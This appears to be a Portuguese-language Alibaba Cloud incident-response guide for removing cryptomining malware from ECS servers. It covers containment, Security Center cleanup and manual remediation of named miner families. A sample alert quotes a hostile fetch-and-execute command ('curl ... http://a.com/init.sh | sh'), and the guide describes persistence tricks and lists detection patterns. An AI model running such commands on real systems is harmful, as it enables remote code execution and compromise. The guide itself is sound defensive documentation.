Após o comprometimento de uma instância ECS por um programa de criptomineração, os recursos de CPU se esgotam, os serviços corporativos são interrompidos e o malware pode se propagar lateralmente pela rede interna. Este documento descreve um fluxo completo de resposta a incidentes — da contenção imediata e análise de causa raiz à limpeza em múltiplas frentes e ao reforço de segurança a longo prazo — para ajudar você a restaurar rapidamente a segurança do sistema.
Rotas comuns de intrusão por criptomineração
Programas de criptomineração geralmente são instalados em instâncias ECS devido a proteções de segurança insuficientes, e não por problemas de hardware. As rotas de intrusão mais comuns incluem:
Ataques de força bruta a senhas SSH fracas: Atacantes buscam portas SSH abertas e utilizam ataques de dicionário para quebrar senhas fracas. Após obterem acesso ao servidor, eles instalam programas de criptomineração.
Acesso não autorizado ao Redis: Se o Redis não tiver uma senha configurada ou estiver vinculado a um endereço IP incorreto, os atacantes podem explorar sua capacidade de gravação de arquivos para instalar scripts de criptomineração.
Vulnerabilidades em aplicações web: Atacantes exploram vulnerabilidades de RCE ou de upload de arquivos para executar programas de criptomineração diretamente no servidor.
Medidas de proteção:
Utilize o recurso Virus Detection and Removal do Security Center para verificar e remover periodicamente programas de criptomineração. Isso requer a edição Anti-virus ou superior.
No grupo de segurança do ECS, restrinja portas suspeitas (como a 51827) para permitir o acesso apenas de endereços IP confiáveis.
Revise periodicamente as chaves públicas SSH e remova as chaves não autorizadas.
Riscos dos programas de criptomineração e como identificá-los
Riscos
Consumo de recursos e degradação: Programas de criptomineração consomem recursos de CPU para realizar cálculos intensivos na mineração de criptomoedas. Isso causa uma exaustão severa da CPU, o que impacta diretamente a operação normal de outras aplicações de negócios no servidor.
Propagação semelhante a worms: Assim que o perímetro de segurança é violado, o malware de criptomineração se espalha rapidamente de forma lateral pela rede interna e estabelece mecanismos de persistência nos servidores comprometidos para garantir lucros a longo prazo.
Difícil remoção: Programas de criptomineração empregam mecanismos de proteção coordenados, e uma limpeza incompleta resulta em infecções recorrentes. Algumas variantes, como o xorddos, substituem comandos do sistema para que a execução de comandos normais acione scripts maliciosos, dificultando ainda mais a remoção.
Métodos de identificação
Degradação drástica de desempenho: A utilização da CPU do servidor excede 80% de forma periódica ou contínua, fazendo com que as aplicações de negócios respondam lentamente ou fiquem completamente indisponíveis.
Estabilidade do sistema comprometida: A alta carga computacional gerada pelos programas de criptomineração pode levar a travamentos do sistema ou interrupções de serviço.
Recebimento de alertas de segurança: O Security Center envia notificações de alerta ao detectar programas de criptomineração, comunicação com pool de mineração ou acesso a nomes de domínio maliciosos.
Mecanismo de detecção: A detecção de criptomineração no Security Center é um mecanismo automático de identificação em backend. Não há uma ferramenta de detecção de autoatendimento dedicada. Visualize os resultados da detecção na página Detection and Response > Security Events no console.
Webshell como indicador de alerta precoce: A descoberta de um arquivo de backdoor webshell é um indicador precoce de que um programa de criptomineração pode ter sido instalado. Geralmente, os atacantes fazem o upload de um webshell primeiro e, em seguida, instalam e iniciam o programa de criptomineração. Recomendamos verificar a lista de eventos de segurança para analisar a relação cronológica entre os alertas de webshell e os alertas de criptomineração no mesmo host.
Estratégia de resposta
Responda rapidamente para remover completamente o programa de criptomineração e seus backdoors de persistência, restaurar o desempenho normal do servidor e implementar o endurecimento de segurança para evitar futuros comprometimentos.
Custos e riscos
-
Custos:
Security Center: Recursos avançados, como Antivirus e Deep Cleanup, exigem a edição Anti-virus ou superior. Há um teste gratuito de 7 dias disponível.
Agentless Detection: Este é um service de pagamento conforme o uso. Adquira o recurso de faturamento Agentless Detection separadamente.
Emergency Response Service: Se você não conseguir resolver o problema por conta própria, adquira o Emergency Response Service da Alibaba Cloud para obter suporte de engenheiros de segurança profissionais.
-
Riscos:
Riscos da limpeza manual: Operações manuais podem excluir acidentalmente arquivos do sistema ou modificar configurações, fazendo com que o servidor falhe ao inicializar ou interrompendo as operações de negócios. Recomendamos criar um snapshot antes de realizar qualquer limpeza manual.
Risco de perda de dados: A reinicialização do disco do sistema exclui permanentemente todos os dados no disco do sistema. Se você não criar um snapshot antes, os dados não poderão ser recuperados.
Arquitetura da solução
Este guia segue um modelo de resposta a incidentes de "descoberta-contenção-limpeza-reforço" e fornece três caminhos de remediação para atender a diferentes capacidades técnicas e cenários de negócios.
Verificação rápida e contenção de emergência: Identifique a ameaça e controle a situação o mais rápido possível para evitar mais danos. As principais ações incluem a identificação de processos e conexões de rede anormais e o uso de um grupo de segurança para isolamento de rede.
-
Decisão e seleção de caminho: Com base em sua expertise técnica, restrições de tempo e tolerância a riscos, escolha o caminho de limpeza mais adequado entre as três opções a seguir:
Limpeza automatizada com o Security Center (Recomendado): Utilize as ferramentas automatizadas fornecidas pelo Security Center para lidar com alertas de forma eficiente e precisa, verificar a presença de vírus e remover backdoors de persistência.
Limpeza manual: Ideal para profissionais com vasta experiência em operações e manutenção de Linux/Windows. Envolve uma limpeza profunda do sistema por meio de investigação manual e execução de comandos.
Redefinição do sistema: Se a infecção estiver profundamente enraizada ou for recorrente, faça o backup de seus dados e reinicialize o disco do sistema para eliminar a ameaça em sua origem.
Verificação e reforço de segurança: Após a limpeza, verifique se o sistema está operando normalmente e implemente medidas de reforço de segurança.
Procedimento
Verificação rápida e contenção de emergência
Ao receber um alerta ou notar um desempenho anormal do servidor, execute as seguintes ações para diagnóstico inicial e contenção de emergência.
-
Identifique processos e conexões de rede anormais
Verifique processos com alto consumo de CPU: Faça login no servidor e execute o comando
top -coups -eo pid,ppid,cmd,%cpu --sort=-%cpu | morepara identificar processos desconhecidos que estejam consumindo muitos recursos de CPU por um período prolongado.Verifique conexões de rede suspeitas: Execute o comando
ss -ntpounetstat -antppara verificar se há conexões com endereços remotos desconhecidos, especialmente em portas comuns de pools de mineração, como 3333, 5555 e 7775.
-
Aplique medidas de contenção de emergência
Isolamento de rede (Recomendado): Esta é a forma mais rápida e segura de conter a ameaça. Acesse imediatamente o console do ECS, modifique as regras do grupo de segurança do servidor e defina a regra de saída para negar todo o tráfego. Permita o acesso apenas para portas de login remoto (como SSH 22 ou RDP 3389) a partir de endereços IP confiáveis. Essa ação interrompe instantaneamente a comunicação entre o programa de criptomineração e seu pool de mineração.
Encerre processos maliciosos: Para qualquer processo malicioso identificado, execute o comando
kill -9 <PID>para encerrá-lo. Note que esta é uma medida temporária. O processo provavelmente reiniciará caso você não remova o mecanismo de persistência correspondente.
O Security Center não fornece uma ferramenta dedicada para rastrear endereços IP de mineradores. O backend detecta automaticamente as conexões com pools de mineração. Para obter os endereços IP dos mineradores e dos pools de mineração, escolha Detection and Response > Security Events e verifique os alertas dos tipos suspicious network connection e suspicious network traffic.
Status do servidor após a correção
Desde que o servidor não apresente mais atividade de mineração, o Security Center não desliga nem bloqueia automaticamente a instância do ECS após você tratar um alerta de criptomineração. O Security Center é um service de detecção e alerta e não tem a capacidade de desligar ou bloquear instâncias.
Trate um alerta manualmente: No console do Security Center, acesse a página Alert, clique no alerta para visualizar seus detalhes e selecione Handled.
Expiração automática: Caso você não trate o alerta manualmente, o sistema o arquiva automaticamente como expired data 30 dias após a geração.
Executar a limpeza
Escolha um dos seguintes métodos de limpeza de acordo com a sua situação.
Limpeza automatizada com o Security Center (recomendado)
Pré-requisitos
-
Você adquiriu a edição Anti-virus, Advanced, Enterprise ou Ultimate do Security Center.
NotaVocê também pode activate the 7-day free trial para usar os recursos relacionados.
Para realizar uma varredura completa, você deve ativar o recurso Agentless Detection, que é um service com pagamento conforme o uso.
Certifique-se de que o agente do Security Center no servidor de destino esteja online.
Etapa 1: Tratar alertas e encerrar processos maliciosos
Use o recurso Alert no Security Center para encerrar processos maliciosos e colocar arquivos de vírus em quarentena, interrompendo rapidamente o programa de mineração de criptomoedas. Para mais informações, consulte Evaluate and handle security alerts. As etapas a seguir fornecem um exemplo.
Faça logon no console do Security Center.
No painel de navegação à esquerda, escolha Detection and Response > Security Events. No canto superior esquerdo do console, selecione a região onde o ativo a ser protegido está localizado: Chinese Mainland ou Outside Chinese Mainland.
-
Encontre o alerta de mineração de criptomoedas e clique em Details na coluna Actions para visualizar os detalhes do alerta.
ImportanteCom base nas informações básicas e na descrição do evento fornecidas no console do Security Center, você pode localizar o programa de mineração de criptomoedas e verificar se há outros alertas ou arquivos suspeitos. Você deve determinar se o arquivo que acionou o alerta é um arquivo legítimo de negócios ou um arquivo executado por um invasor. Se você confirmar que se trata de um ataque, recomendamos que, após tratar o alerta de mineração de criptomoedas, você também trate todos os outros alertas e arquivos suspeitos no servidor.
Na página de detalhes do alerta, você também pode visualizar o endereço IP do minerador e o endereço IP de destino usado para comunicação com o pool de mineração. Você pode adicionar esses endereços IP a um grupo de segurança e desativá-los para bloquear a conexão.
-
Retorne à página Alerts para tratar o alerta de mineração de criptomoedas.
Clique em Handle na coluna Actions para o alerta de mineração de criptomoedas de destino.
-
Na caixa de diálogo Handle Alert, selecione Virus Detection and Removal como o método de tratamento. Em seguida, selecione Terminate Process ou Terminate Process and Quarantine Source File e clique em Handle Now para impedir que o programa seja executado novamente.
Se você confirmar que o arquivo que causou o alerta não é um arquivo de negócios, recomendamos selecionar Terminate Process and Quarantine Source File para evitar que o vírus infecte ainda mais o seu servidor.
NotaO Security Center oferece suporte ao recurso Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling). Se você precisar processar em lote alertas acionados pela mesma regra ou tipo, poderá selecionar Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling).
-
Na página Alerts, encontre quaisquer alertas relacionados gerados pelo evento de mineração de criptomoedas (como comunicação com o pool de mineração) e execute a ação Block.
NotaO Security Center gera uma política correspondente para impedir que o servidor acesse o pool de mineração, dando a você tempo suficiente para tratar o evento de segurança. Você também pode adicionar manualmente o endereço IP do pool de mineração a um grupo de segurança para bloquear o acesso. Para mais informações sobre como adicionar uma regra de grupo de segurança, consulte Add a security group rule.
-
Na página Alerts, verifique se há alertas de anomalia de comportamento de processo para determinar se existem tarefas agendadas anormais e trate esses alertas de acordo. No painel de detalhes do alerta do Security Center, o nome do alerta é Process Anomaly - Linux Scheduled Task Executing Abnormal Commands, com status Pending. Os principais campos incluem:
Nome do processo:
bashCaminho do processo:
/usr/bin/bashID do processo: 14075
Nome de usuário: root
Argumentos de linha de comando:
/bin/sh -c curl -fsSL http://a.com/init.sh | sh > /dev/null 2>&1
Descrição do evento: Após a invasão de um hacker, um script de shell malicioso é gravado nas tarefas agendadas do crontab ou systemd para obter execução persistente. A solução recomendada é verificar diretórios como
/etc/crontab,/var/spool/cron/e/var/spool/cron/crontabs/em busca de arquivos de tarefas agendadas suspeitas e fortalecer as senhas do sistema.
Etapa 2: Varredura profunda e limpeza
Após o encerramento de um processo malicioso, seus mecanismos de persistência, como services de inicialização automática e tarefas agendadas, ainda podem existir. Use o recurso Antivirus no Security Center para fazer a varredura e limpá-los. Para mais informações, consulte Antivirus. As etapas a seguir fornecem um exemplo.
Faça logon no console do Security Center.No painel de navegação à esquerda, escolha . No canto superior esquerdo do console, selecione a região onde o ativo a ser protegido está localizado: Chinese Mainland ou Outside Chinese Mainland.
Na página Virus Detection and Removal, clique em Scan Now ou Scan Again.
-
No painel Scan Settings, configure o modo de varredura e o intervalo de varredura e, em seguida, clique em OK.
Scan Mode: Selecione Quick Scan.
-
Scan Scope: Selecione o servidor que foi comprometido pelo programa de mineração de criptomoedas.
Defina o Scan Mode como Quick Scan e use a guia By Asset para filtrar e selecionar o servidor de destino.
Após a conclusão da varredura, na página Virus Detection and Removal, clique em Actions na coluna Handle para o alerta de destino.
No painel Alert Handling, selecione Deep Cleanup, clique em Next e aguarde o sistema processar o alerta.
-
Após o tratamento do alerta, visualize o resultado e o status do alerta na página Alerts.
Na caixa de diálogo Handle Alert, selecione Deep Cleanup (recomendado) como o método de tratamento. O Deep Cleanup executa as seguintes operações:
Encerra processos de vírus maliciosos
Coloca amostras maliciosas em quarentena
Remove mecanismos de persistência implantados pelo invasor (incluindo entradas do Crontab e fontes maliciosas de download)
Na seção do método de reparo, selecione Auto-Create Snapshot and Repair, defina um nome para o snapshot (por exemplo,
VirusDefense_AlertRepair_DeepCleanup) e o período de retenção do snapshot (por exemplo, 1 day). O custo do snapshot é de aproximadamente CNY 0,15 por dia para um disco de sistema de 40 GB.
Etapa 3: Varredura completa
Para garantir que não restem arquivos residuais, você pode usar o recurso de detecção sem agente para realizar uma varredura completa de disco offline. Esse recurso oferece suporte apenas à detecção, não à correção. Você deve tratar quaisquer riscos detectados com base nos detalhes fornecidos na página de detalhes do risco. Para mais informações, consulte Agentless Detection.
Faça logon no console do Security Center.Selecione a região onde o ativo a ser protegido está localizado: Chinese Mainland ou Outside Chinese Mainland.
Na guia , na seção Risk Detection, clique em Scan Now.
-
No painel Scan Now, configure as definições conforme descrito abaixo e, em seguida, clique em OK.
Scan Scope: Recomendamos que você selecione os discos de dados. Fontes de dados mais completas melhoram a detecção de vulnerabilidades, alertas e outros riscos.
-
Image Retention Duration:
Valores válidos: 1 a 365. Unidade: dias.
-
Você é cobrado pela criação de imagens. Quanto mais tempo você retiver os imagens, maiores serão as taxas.
ImportanteSe você selecionar Retain Only At-risk Image, o sistema exclui automaticamente imagens livres de riscos após a conclusão da varredura.
-
Após a criação da tarefa, o Security Center cria automaticamente imagens e executa a varredura. Se forem detectados riscos após a varredura, o sistema também aciona automaticamente a análise de sandbox paralela. Para mais informações, consulte Automatic creation of snapshots and images e Automatically run AI parallel sandbox analysis. Para obter informações sobre como visualizar o progresso e os relatórios da tarefa, consulte View task progress and reports.
NotaQuanto mais dados do servidor forem verificados, mais tempo a tarefa levará. Aguarde a conclusão da tarefa.
Após a conclusão da tarefa de detecção, revise e trate quaisquer riscos de vulnerabilidade detectados, falhas de verificação de linha de base, alertas de segurança e arquivos sensíveis.
Limpeza manual
Os programas de mineração de criptomoedas criam vários backdoors de persistência, o que dificulta a sua remoção. Se você encontrar um vírus de mineração de criptomoedas sem uma assinatura do Security Center, poderá tomar as seguintes medidas para investigar e tratá-lo.
Este método envolve a modificação de arquivos e configurações. Antes de prosseguir, crie um snapshot dos discos do servidor para garantir que você possa restaurar os dados em caso de erro operacional.
Sistemas Linux
-
Bloqueie a comunicação de rede maliciosa.
Após descobrir atividades de mineração de criptomoedas em um host, a primeira etapa é bloquear a comunicação de rede do Trojan de mineração de criptomoedas para controlar imediatamente o impacto, pois uma correção completa pode ser demorada.
-
Execute o seguinte comando para verificar as conexões de rede atuais do sistema.
netstat -antp[root@ixxx poc]# netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.xxx:xxx 0.0.0.0:* LISTEN 1399/sshd tcp 0 0 12xxx:xxx 0.0.0.0:* LISTEN 1121/master tcp 0 0 127.0.0.xxx:xxx 0.0.0.0:* LISTEN 8847/node tcp 0 0 0.0.xxx:xxx 0.0.0.0:* LISTEN 572/rpcbind tcp 0 0 127.xxx:xxx 12x.x.x.1:xxx ESTABLISHED 8988/node tcp 0 0 17x.xxx:xxx 10x.xxx:xxx TIME_WAIT - tcp 0 0 17x.xxx:xxx 10x.xxx:xxx TIME_WAIT - tcp 0 0 127.xxx:xxx 12x.xxx:xxx ESTABLISHED 8847/node tcp 0 0 127.xxx:xxx 127.x.x.x ESTABLISHED 8761/sshd: root@not tcp 0 0 17x.xxx:xxx 10x.xxx:xxx ESTABLISHED 17704/AliHips tcp 0 0 17x.xxx:xxx 18x.xxx:xxx ESTABLISHED 16901/logrotate tcp 0 0 1xx.xxx:xxx 12x.xxx:xxx ESTABLISHED 8761/sshd: root@not tcp 0 0 1xx.xxx:xxx 100.xxx:xxx TIME_WAIT - tcp 0 0 1xx.xxx:xxx3 10x.xxx:xxx ESTABLISHED 1506/AliYunDun tcp 0 0 17x.xxx:xxx22 14x.xxx:xxx ESTABLISHED 8761/sshd: root@not tcp6 0 0 :::xxx :::* LISTEN 1121/master tcp6 0 0 :::xxx :::* LISTEN 572/rpcbind -
Nos comandos a seguir, substitua
C&C addresspor um endereço remoto suspeito (Foreign Address) que não seja usado pelas suas operações normais de negócios. Em seguida, execute os comandos para adicionar regras de firewall e bloquear todas as conexões de rede entre o servidor e o endereço suspeito.iptables -A INPUT -s C&C address -j DROP iptables -A OUTPUT -d C&C address -j DROP
-
-
Limpe as tarefas agendadas.
Os Trojans de mineração de criptomoedas costumam usar tarefas agendadas para baixar (atualizar) e iniciar periodicamente o Trojan. Apenas limpar o processo e o arquivo do Trojan não é suficiente para erradicar o programa e pode levar a infecções recorrentes.
Investigue os seguintes arquivos de tarefas agendadas e remova quaisquer tarefas relacionadas ao download ou à inicialização do Trojan de mineração de criptomoedas.
-
Visualize as tarefas agendadas para o usuário atual ou um usuário especificado (
username).crontab -l crontab -u username -l -
Todos os arquivos de tarefas agendadas no host.
/etc/crontab /var/spool/cron/ /etc/anacrontab /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
-
-
Limpe os services de inicialização automática.
-
Execute o seguinte comando para investigar todos os services de inicialização automática no sistema.
systemctl list-unit-files | grep enabled -
Encontre o arquivo de unidade para o service suspeito e verifique seus detalhes.
Substitua
*pelo nome do service e<service_unit_name>pelo nome do arquivo de unidade do service.ls -al /etc/systemd/system/*.service ls -al /usr/lib/systemd/system/*.service # View service details (the process file started by the service) cat /etc/systemd/system/<service_unit_name>.service -
Se você encontrar um service de inicialização automática malicioso, use os seguintes comandos para desativar o service e excluir seu arquivo de unidade.
Substitua
<service name>pelo nome do service e<service_unit_name>pelo nome do arquivo de unidade do service.systemctl disable <service name> rm /etc/systemd/system/<service_unit_name>.service rm /usr/lib/systemd/system/<service_unit_name>.service -
Investigue os seguintes caminhos de service em busca de services de inicialização automática e limpe-os usando as etapas acima.
/etc/rc.local /etc/inittab /etc/rc.d/ /etc/init.d/
-
-
Limpe as chaves públicas SSH.
Os Trojans de mineração de criptomoedas costumam adicionar a chave pública SSH do invasor ao arquivo ~/.ssh/authorized_keys. Isso permite que o invasor faça logon no host comprometido sem senha e reinstale arquivos maliciosos. Investigue o arquivo ~/.ssh/authorized_keys e exclua imediatamente quaisquer chaves públicas suspeitas.
-
Limpe o sequestro de .so .
Arquivos
.sopré-carregados, definidos por meio do arquivo /etc/ld.so.preload, podem sequestrar comandos comuns do sistema, comotop, e , para ocultar o processo de mineração de criptomoedas.-
Execute o seguinte comando para investigar arquivos
.sopré-carregados.cat /etc/ld.so.preload -
Execute o seguinte comando para remover o sequestro de pré-carregamento.
echo > /etc/ld.so.preload
-
-
Limpe contas maliciosas.
Algumas famílias de Trojans de mineração de criptomoedas criam novas contas de backdoor para manter o controle de longo prazo sobre o host comprometido. Execute os seguintes comandos para verificar se há contas maliciosas e, em seguida, exclua manualmente as informações relevantes da conta.
-
Verifique os logs em busca de atividades recentes de criação de contas.
cat /var/log/audit/audit.log | grep useradd # Or cat /var/log/secure | grep 'new user' -
Verifique o arquivo
/etc/passwdem busca de contas suspeitas.cut -d: -f1 /etc/passwd -
Verifique a criação ou a última hora ativa do diretório
homede uma conta. Preste atenção especial aos diretórioshomecriados recentemente.stat /home/guest/
-
-
Contorne técnicas anti-modificação.
Após gravar arquivos de persistência, como tarefas agendadas e services de inicialização automática, alguns Trojans de mineração de criptomoedas definem um atributo imutável no arquivo para impedir que o mecanismo de persistência seja excluído.
[root@iZxxx poc]# rm /etc/cron.hourly/logrotate rm: remove regular file '/etc/cron.hourly/logrotate'? y rm: cannot remove '/etc/cron.hourly/logrotate': Operation not permitted [root@iZxxx poc]# echo "" > /etc/cron.hourly/logrotate bash: /etc/cron.hourly/logrotate: Permission denied [root@iZxxx poc]# lsattr /etc/cron.hourly/logrotate ----i---------e-- /etc/cron.hourly/logrotateSe você encontrar essa situação, execute o seguinte comando para restaurar os atributos do arquivo antes de excluir a tarefa correspondente.
chattr -i /etc/passwd chattr -i /etc/crontab -
Encerre o processo do Trojan de mineração de criptomoedas.
-
Os processos de mineração de criptomoedas geralmente consomem muitos recursos de CPU. Você pode usar os seguintes comandos para investigar processos suspeitos de mineração de criptomoedas.
-
Investigue processos que consomem grande quantidade da CPU do host.
top -cObserve o valor
99.4 usna linha%Cpu(s)(indicando o uso de CPU no espaço do usuário) e o processo/root/.config/logrotateconsumindo 395,0% de CPU na lista de processos.top – 11:42:28 up 5 days, 1:30, 0 users, load average: 2.71, 0.84, 0.32 Tasks: 114 total, 1 running, 110 sleeping, 3 stopped, 0 zombie %Cpu(s): 99.4 us, 0.6 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem : 7732792 total, 5724224 free, 562256 used, 1446312 buff/cache KiB Swap: 0 total, 0 free, 0 used. 6911024 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 16901 root 20 0 320776 3220 2308 S 395.0 0.0 2:31.13 /root/.config/logrotateps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more[root@ixxx z poc]# ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more PID PPID CMD %CPU 16901 1 /root/.config/logrotate 208 8988 8847 /root/.vscode-server/bin/2d 3.9 -
Investigue comportamentos anormais de conexão de rede.
netstat -antpA saída mostra que o processo
16901/logrotatetem uma conexão de rede ESTABLISHED anormal, o que é um comportamento suspeito.[root@iZbp113etj2f09g5ci8fukZ poc]# netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.xxx.xxx.xx xxx.xxx.xxx LISTEN 1399/sshd tcp 0 0 12x.x.x.xxx 0.x.x.x LISTEN 1121/master tcp 0 0 1xx.x.x.xxx xxx.xxx.xxx LISTEN 8847/node tcp 0 0 0.xxx.xxx x.x.x.x LISTEN 572/rpcbind tcp 0 0 12x.xxx.x.xxxxx 127.0.0.1.xxxxx ESTABLISHED 8988/node tcp 0 0 17x.xx.xxx.xxx.xxxxx xxx TIME_WAIT - tcp 0 0 17x.xx xxx.xxx TIME_WAIT - tcp 0 0 1xx.x.0.1.xxxxx xxx.xxx ESTABLISHED 8847/node tcp 0 0 12x.x.x.xxx xxx ESTABLISHED 8761/sshd: root@not tcp 0 0 1x.xxx.xxx.xxxxx xxx.xxx.xxx.xxx ESTABLISHED 17704/AliHips tcp 0 0 172.xx.xxx.x:1200 xxx.xxx.x.xxx:xxx ESTABLISHED 16901/logrotate tcp 0 0 12x.x.x.xxx:x 12x.xxx ESTABLISHED 8761/sshd: root@not tcp 0 0 17x.xx.xxx.xxxxx xxx.xxx.xx.xxx.xx TIME_WAIT - tcp 0 0 17x.xx.xxx xxx.xxx ESTABLISHED 1506/AliYunDun tcp 0 0 1xx.xx xxx ESTABLISHED 8761/sshd: root@not tcp6 0 0 :xxx xxx LISTEN 1121/master tcp6 0 0 :::xxx xxx LISTEN 572/rpcbind -
Obtenha o caminho do arquivo do processo suspeito.
ls -al /proc/$PID/exe -
Calcule o hash MD5 do arquivo do processo e pesquise-o na plataforma Alibaba Cloud Threat Intelligence.
md5sum /proc/$PID/exeA página de resultados da consulta exibe as seguintes informações:
Nível de risco do arquivo (por exemplo, Medium) e atividade recente.
Detalhes do arquivo, incluindo o nome do arquivo, ambiente de execução e hora da primeira descoberta.
Valores de hash, incluindo MD5, SHA1 e SHA256.
-
-
Execute os seguintes comandos para encerrar o processo de mineração de criptomoedas e limpar o arquivo do Trojan.
kill -9 $PID # Delete the process path obtained from ls -al /proc/$PID/exe rm /path/to/executable
-
Sistemas Linux (casos específicos de mineração de criptomoedas)
Mineração de criptomoedas disfarçada de AliyunDuns
-
Execute os seguintes comandos para investigar entradas persistentes de inicialização automática.
grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/* grep -rl "wget" /etc/cron.hourly/* -
Se algum resultado for encontrado, existe um service de inicialização automática. Execute os seguintes comandos para excluí-lo.
rm -f /etc/systemd/system/sysetmd.service rm -f /etc/systemd/system/monero.service rm -f /etc/systemd/system/A_li_yun_Duns.service chattr -i /etc/cron.hourly/0 rm -f /etc/cron.hourly/0 -
Investigue e trate usuários suspeitos.
-
Execute o seguinte comando para consultar a lista de usuários do sistema e identificar o nome de usuário suspeito.
cat /etc/passwd -
Execute o seguinte comando para visualizar informações sobre um usuário anormal do sistema. Neste exemplo, o usuário é
shaojiang99.cat /etc/passwd | grep shaojiang99 cat /etc/shadow | grep shaojiang99 -
Execute o seguinte comando para excluir o usuário suspeito do sistema.
chattr -i /etc/passwd chattr -i /etc/shadow sed -i '/^shaojiang99:/d' /etc/shadow sed -i '/^shaojiang99:/d' /etc/passwd
-
Correção manual para Skidmap
-
Execute os seguintes comandos para excluir as entradas do service de inicialização automática.
echo "" > /lib/systemd/system/systemd-cgroup.service echo "" > /lib/systemd/system/systemd-deltaed.service echo "" > /usr/bin/systemd-cgroup.org echo "" > /usr/bin/systemd-cgroup echo "" > /usr/bin/systemd-deltaed echo "" > /usr/bin/systemd-deltaed.org Limpe manualmente o arquivo de chave pública SSH
authorized_keysremovendo quaisquer chaves suspeitas.
Correção manual para Cleanfda
-
Investigue os seguintes caminhos de tarefas agendadas em busca de execução de scripts suspeitos (por exemplo,
/etc/upat.sh)./var/spool/cron/ /etc/cron.d/ /var/spool/cron/crontabs /etc/crontab -
Investigue comandos modificados (programas originais como
ps,pstreeetopserão renomeados com o sufixo.original).ls -al /usr/bin | grep original -
Investigue chaves públicas SSH e exclua quaisquer chaves desconhecidas.
cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys
Exemplo:
# Restore modified commands
crondir='/var/spool/cron/'"$USER"
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree
# Restore editing permissions for scheduled task files
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d
# Delete suspicious scheduled tasks and payloads
sed -i '/upat.sh/d' /etc/crontab
rm -rf /etc/cron.d/httpd2
rm -rf /etc/upat.sh
rm -rf /tmp/upat.sh
rm -rf /etc/httpd2
rm -rf /tmp/httpd2
# Delete suspicious public keys
sed -i '/cKtXBjj******hVI0K7b/d' ~/.ssh/authorized_keys
sed -i '/cKtXBjj******hVI0K7b/d' /root/.ssh/authorized_keys
Mineração de criptomoedas da família Outlaw
-
Investigue todas as tarefas agendadas do
cronem busca da string.configrc5/.-
Caminhos de tarefas agendadas:
/var/spool/cron/root /var/spool/cron/ /etc/cron.d/ /var/spool/cron/crontabs /etc/crontab -
Execute os seguintes comandos para investigar.
grep -r ".configrc5/" /var/spool/cron/* grep -r ".configrc5/" /etc/cron*
-
-
Se encontrado, execute os seguintes comandos para excluir os arquivos relacionados.
rm -rf /tmp/.X2xi-unix/.rsync rm -rf ~/.configrc5
Mineração de criptomoedas da família kinsing
-
Execute o seguinte comando para investigar tarefas agendadas do
cron. Procure por conteúdo semelhante agi.sh | bash > /dev/null. Se existir, exclua essa linha.grep -r "gi.sh | bash > /dev/null" /etc/cron* grep -r "gi.sh | bash > /dev/null" /var/spool/cron/* -
Execute o seguinte comando para verificar se o service
/lib/systemd/system/bot.serviceexiste.cat /lib/systemd/system/bot.service -
Se o service existir, execute o seguinte comando para verificar o arquivo
libsystem.soem/etc/ld.so.preload.cat /etc/ld.so.preload Após localizar o caminho do arquivo
libsystem.so, exclua o arquivo.
Sistemas Windows
-
No PowerShell, execute o seguinte comando para investigar processos suspeitos de mineração de criptomoedas com base no uso de CPU.
Notaps | sort -des cpu While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls} -
Execute o seguinte comando para visualizar o caminho do executável e os argumentos de linha de comando do processo de mineração de criptomoedas.
Notawmic process where processid=xxx get processid,executablepath,commandline,name // xxx is the process PID Encerre o processo de mineração de criptomoedas e limpe o arquivo do Trojan.
-
Execute o comando a seguir para verificar se há conexões em portas de rede suspeitas.
Notanetstat -ano | findstr xxx // xxx is the suspicious network port -
Execute o comando a seguir para verificar se o arquivo hosts do servidor contém o endereço do pool de mineração do programa de criptomineração.
Notatype C:\Windows\System32\drivers\etc\hosts -
Execute o comando a seguir para verificar se há tarefas agendadas configuradas pelo programa de criptomineração.
Notaschtasks /query
Restaurar o sistema
Se o vírus tiver se infiltrado profundamente no sistema, o problema persistir após a limpeza manual ou o servidor não contiver dados comerciais críticos, recomendamos esta opção. Faça backup dos dados importantes antes de restaurar o sistema do servidor para garantir a remoção completa do programa de criptomineração.
Crie snapshots para fazer backup dos dados importantes no servidor. Para obter mais informações, consulte Create a snapshot for a disk.
Reinicialize o disco do sistema: no console do ECS, selecione a instância de destino e execute a operação Re-initialize System Disk. Essa ação apaga completamente o disco do sistema e o restaura ao seu estado inicial. Para obter mais informações, consulte Re-initialize a system disk (reset an operating system).
Use um snapshot para criar um novo cloud disk. Para obter mais informações, consulte Create a disk from a snapshot.
Anexe o cloud disk ao servidor com o sistema reinstalado. Para obter mais informações, consulte Attach a data disk.
-
Faça logon no servidor e copie apenas os dados comerciais (como códigos de site e arquivos de banco de dados) do disco de dados anexado.
ImportanteNão restaure nenhum arquivo executável, arquivo de configuração do sistema ou script do snapshot antigo para evitar a reintrodução de backdoors.
Contratar o service de resposta a emergências
A Alibaba Cloud oferece um Emergency Response Service no qual engenheiros de segurança profissionais podem ajudar você a resolver problemas como infecções por vírus. O service inclui o seguinte:
Limpeza abrangente de Trojans, vírus, contas anômalas, arquivos anômalos, webshells, links ocultos e outros problemas no seu sistema.
Análise dos métodos de intrusão do invasor para determinar a causa raiz.
Orientação sobre reforço de segurança.
Para obter mais informações, consulte Emergency Response Service.
Verifique a remediação
Após a limpeza, verifique os resultados e reforce a segurança do sistema para garantir a proteção e evitar novas infecções.
Escaneie novamente: Use o recurso Antivirus ou Agentless Detection no Security Center para executar uma verificação completa no servidor e confirmar a ausência de alertas.
